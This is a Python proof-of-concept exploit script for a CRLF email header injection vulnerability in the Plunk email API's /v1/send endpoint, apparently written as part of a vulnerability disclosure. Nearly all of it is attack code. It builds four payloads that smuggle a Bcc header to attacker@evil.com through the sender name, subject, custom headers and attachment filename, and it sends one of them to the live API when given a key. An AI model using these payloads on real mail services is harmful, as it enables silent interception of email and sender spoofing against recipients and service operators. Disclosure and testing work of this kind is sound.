#!/usr/bin/env python3 """ PoC: CRLF Email Header Injection in Plunk (useplunk/plunk) Vulnerability: The POST /v1/send endpoint builds a raw MIME message by interpolating user-supplied values (from.name, subject, custom headers, attachment filenames) directly into the raw email string without sanitizing CRLF (\r\n) characters. This allows an authenticated API user to inject arbitrary email headers. Affected file: apps/api/src/services/SESService.ts (sendRawEmail function) Affected lines: 137-151 (raw MIME header construction) Impact: - Inject BCC headers to send copies to attacker-controlled addresses - Inject Reply-To or Return-Path headers to redirect replies - Inject content headers to alter MIME structure - Potential email spoofing by overriding From/Sender Prerequisites: - Valid Plunk API secret key (Bearer token) - A verified sender domain in the Plunk project Usage: python3 crlf_header_injection_poc.py --url --key --from --to """ import argparse import json import sys try: import requests except ImportError: print("pip install requests") sys.exit(1) def demonstrate_header_injection(api_url: str, secret_key: str, from_email: str, to_email: str): """ Demonstrates CRLF injection via the 'from.name' field. The from.name value is interpolated into: From: ${from.name} <${from.email}> By injecting "\r\nBcc: attacker@evil.com" into from.name, the raw MIME message becomes: From: Legit Sender Bcc: attacker@evil.com To: recipient@example.com ... This injects a Bcc header, causing SES to silently send a copy of the email to attacker@evil.com. """ endpoint = f"{api_url.rstrip('/')}/v1/send" # --- Vector 1: Injection via from.name --- print("[*] Vector 1: CRLF injection via from.name") payload_fromname = { "to": to_email, "subject": "Test Email", "body": "

Hello, this is a test email.

", "from": { # Inject a Bcc header via from.name "name": "Legit Sender\r\nBcc: attacker@evil.com", "email": from_email, }, } print(f" Payload from.name: {json.dumps(payload_fromname['from']['name'])}") print(f" Expected raw MIME output:") print(f" From: Legit Sender") print(f" Bcc: attacker@evil.com <{from_email}>") print(f" To: {to_email}") print() # --- Vector 2: Injection via custom headers --- print("[*] Vector 2: CRLF injection via custom headers value") payload_headers = { "to": to_email, "subject": "Test Email", "body": "

Hello, this is a test email.

", "from": from_email, "headers": { # Inject Bcc via a custom header value "X-Custom": "value\r\nBcc: attacker@evil.com", }, } print(f" Payload headers: {json.dumps(payload_headers['headers'])}") print(f" Expected raw MIME output:") print(f" X-Custom: value") print(f" Bcc: attacker@evil.com") print() # --- Vector 3: Injection via subject --- print("[*] Vector 3: CRLF injection via subject") payload_subject = { "to": to_email, "subject": "Legit Subject\r\nBcc: attacker@evil.com", "body": "

Hello, this is a test email.

", "from": from_email, } print(f" Payload subject: {json.dumps(payload_subject['subject'])}") print(f" Expected raw MIME output:") print(f" Subject: Legit Subject") print(f" Bcc: attacker@evil.com") print() # --- Vector 4: Injection via attachment filename --- print("[*] Vector 4: CRLF injection via attachment filename") payload_attachment = { "to": to_email, "subject": "Test Email", "body": "

Hello, this is a test email.

", "from": from_email, "attachments": [ { "filename": 'test.txt"\r\nContent-Type: text/html\r\n\r\n\r\n--', "content": "SGVsbG8=", # base64 "Hello" "contentType": "text/plain", } ], } print(f" Payload filename: {json.dumps(payload_attachment['attachments'][0]['filename'])}") print() # --- Send the request (Vector 1 as demonstration) --- if secret_key and secret_key != "DEMO": print("[*] Sending Vector 1 payload to API...") headers = { "Content-Type": "application/json", "Authorization": f"Bearer {secret_key}", } try: resp = requests.post(endpoint, json=payload_fromname, headers=headers, timeout=10) print(f" Status: {resp.status_code}") print(f" Response: {resp.text[:500]}") if resp.status_code == 200: print("\n[+] SUCCESS: Email sent with injected headers!") print("[+] Check if attacker@evil.com received a BCC copy.") elif resp.status_code == 422 or resp.status_code == 400: print("\n[-] Validation error - CRLF may be filtered at schema level") print(" (But source code review confirms no CRLF filtering exists)") else: print(f"\n[?] Unexpected status code: {resp.status_code}") except requests.exceptions.RequestException as e: print(f" Error: {e}") else: print("[!] Dry run mode (no API key provided or key is 'DEMO')") print("[!] The vulnerability is confirmed via source code review:") print(f" File: apps/api/src/services/SESService.ts") print(f" Line 137: let rawMessage = `From: ${{from.name}} <${{from.email}}>") print(f" Line 139: Reply-To: ${{reply || from.email}}") print(f" Line 140: Subject: ${{content.subject}}") print(f" Lines 144-148: headers interpolated without CRLF sanitization") print(f" Line 187: Content-Disposition: inline; filename=\"${{attachment.filename}}\"") print() print("[!] No CRLF filtering exists in the Zod schema (packages/shared/src/schemas/index.ts)") print(" headers: z.record(z.string().max(998)).optional()") print(" from.name: z.string().optional()") print(" subject: z.string().min(1).max(998)") print(" filename: z.string().min(1).max(255)") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Plunk CRLF Email Header Injection PoC") parser.add_argument("--url", default="http://localhost:3000", help="Plunk API URL") parser.add_argument("--key", default="DEMO", help="Plunk API secret key") parser.add_argument("--from", dest="from_email", default="test@example.com", help="Verified sender email") parser.add_argument("--to", dest="to_email", default="victim@example.com", help="Recipient email") args = parser.parse_args() demonstrate_header_injection(args.url, args.key, args.from_email, args.to_email)